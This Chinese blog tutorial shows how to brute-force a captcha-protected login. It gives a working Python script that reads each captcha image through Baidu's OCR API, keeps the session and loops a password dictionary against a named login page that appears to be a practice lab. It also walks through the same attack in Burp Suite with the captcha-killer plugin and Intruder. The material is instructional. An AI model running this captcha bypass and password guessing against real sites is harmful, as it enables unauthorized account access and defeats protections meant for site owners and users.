带有验证码的爆破(包含Burp suite工具爆破)

带有验证码的爆破
  1. 爆破环境

    • 登录页面具有验证码的验证,并且验证码是以图片的形式展示的。
    • 没有次数限制和时间限制(符合爆破的要求!)
  2. 爆破原理

    爆破主要是通过不断提交数据表单来试错,当然前提就是次数不限,当我们遇到有验证码阻拦的时候,我们的思路就要发生变化了(因为后台多了一个验证码的验证)想要通过验证并且试错密码,我们需要获取到验证码。

  3. 爆破过程

    1. 获取验证码的思路就是,我们通过API的接口来对图片进行识别(这里的前提是我们需要知道产生验证码的路径,也就是可以获得图片的路径),这里的API在我看来就是一个处理图片的一个函数?通过传递一些参数,来达到返回图片中的数值。

      import requests
      import base64
      
      #获取access_token的函数(原理也是根据百度提供的AK、SK)
      def baidu_orc():
          # client_id 为官网获取的AK, client_secret 为官网获取的SK
          host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=官网获取的AK&client_secret=官网获取的SK'
          response = requests.get(host)
          if response:
              return (response.json()['access_token'])
      
          # 24.a1d036d11bd73f692d431a0349fe6dc5.2592000.1665890365.282335-27492365
          # encoding:utf-8
      
      #为什么要获取access_token?就是因为我们在调用API接口的时候需要这个的验证,这可能也是百度作为识别用户的一个凭证
      def get_vcode():
          session = requests.session()#这里我们需要将这次申请的session记录下来,方便我们以后的爆破,因为根据验证码的验证机制,我们明白这是设置了session,并且验证码就存在session中,所以要记录下来。
          request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic"
          img = session.get('自己的url')  
          # print(session.cookies)
          img = base64.b64encode(img.content)
          params = {"image": img}
          access_token = '[自己的access_token]'
          request_url = request_url + "?access_token=" + access_token
          headers = {'content-type': 'application/x-www-form-urlencoded'}
          response = requests.post(request_url, data=params, headers=headers)
          vcode = response.json()['words_result'][0]['words']
          return vcode, session#这里返回的vcode就是我们验证码图片中的值,而为什么要返回session,这个session中包含我们的真实的验证码,而vcode就是我们通过API接口获得的值(也不能保证百分百是正确的)
      
    2. 进行密码爆破

      思路就是,先要取下我们通过API接口获得的验证码,密码的爆破就和之前一样,这次唯一不同的就是,需要每次爆破时都要通过API接口获取爆破验证码。验证码得到验证以后,我们接下来就需要爆破密码。主要的思路就是遍历字典,不断试错。

      普通版:

      def blasting_login(passwd):								  #这里传入的就是我们试错的字典
          vcode, session = get_vcode()
          data = {'username': 'root', 'password': passwd, 'verifycode': vcode}
          login_url = 'https://scyes.xyz/safe13/login-prepare.php'
          resp = session.post(url=login_url, data=data)
          if ("code-eroor" in resp.text):
              print("验证码出错")
              print(data)
          if (("login-fail" not in resp.text) and ("code-eroor" not in resp.text)):
              print(f'登录成功,payload为:{data}')
      
      
      if __name__ == '__main__':
          with open('./password-top6000.txt', 'r') as fp:        #读取字典
              passwd_list = fp.readlines()					   #存放数据
          for passwd in passwd_list:
              blasting_login(passwd.strip())
              sleep(2)#进行休眠2秒 因为API接口那个有限制
      

      多线程:

      if __name__ == '__main__':
          with open('./password-top6000.txt', 'r') as fp:
              passwd_list = fp.readlines()
          for passwd in passwd_list:
              passwd = passwd.strip()
              threading.Thread(target=blasting_login,args=(passwd,)).start()
              sleep(2)
      
  4. 利用Burp suite进行爆破

    1. 准备工作

      • 需要有Burp suite工具,并且保证可以正常运行

      • 安装captcha-killer 0.1.2插件,本人觉得就是一个可以在bP上运行的一个模块(原理就是我们上面用python代码实现的爆破一样)在bp上安装插件。

        image-20220916210002030

    2. 爆破过程

      • 首先开启截断(截断的前提就是我们的浏览器需要开启代理,因为只要开启了代理,我们的bp才可以截断数据包)

      • 我们在浏览器中访问目标网址

        image-20220916210421698

        这里就可以看到我们的bp成功截断了,我们只需要点击forward让他转发出去,让一下个产生验证码的页面展现出来。

        image-20220916210537438

        这里我们会看到我们点击forward之后的样子,因为我们没有转发vcode.php所以验证码会消失。

        image-20220916210735185

      • 接收验证码

        我们将此请求发送到我们安装的插件模块中

        image-20220916211027391

        image-20220916211049708

        下拉右下角到底,选中words中的值,右键标记为识别结果,我们就可以在右侧看到我们通过API接口获得的验证码了

        ​ 这里介绍一下这个模块,在左上角就是我们请求的页面,右上角就是我们请求的结果,左下角就是需要我们的API接口,右下角就是结果。

      • forward验证码页面,Repeater(重放登录接口)

        我们forward验证码以后,我们就是要进入登录接口,输入账号密码,验证以后,这里我们需要把接口页面Repeater,在Repeater中修改我们的sessionID和刚才那个验证码的session一样。

        image-20220916211909741

        image-20220916211927109

        修改完毕后,就可以进行爆破了

      • 密码爆破

        将Repeater中修改完的内容发送到Intruder中,选择正确的模式

        image-20220916212122969

        选择payload,这里第一个payload只是简单的密码,第二个则需要注意我们选择与captcha-killer 0.1.2关联,意思就是将我们在captcha-killer 0.1.2中得到验证码作为我们的第二个payload使用,然后点击attack就好了。

        image-20220916212226802

        在Attack的框中我们可以看到我们刚才添加的payload和服务器给我们的反应,因为我这里显示的比较简单,大家从长度可能看不出什么,我们可以从响应中看到,我们收到的login-pass就说明我们成功了。

        image-20220916212413977

  5. 总结

    1. 带有验证码的爆破思路:就是通过API接口获取验证码的值(当然只是仅限图片验证码),然后重复密码爆破。
    2. 整个爆破流程:获取验证码->保持session->遍历密码字典->通过一致的session来不断试错->爆破成功
  • 8
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值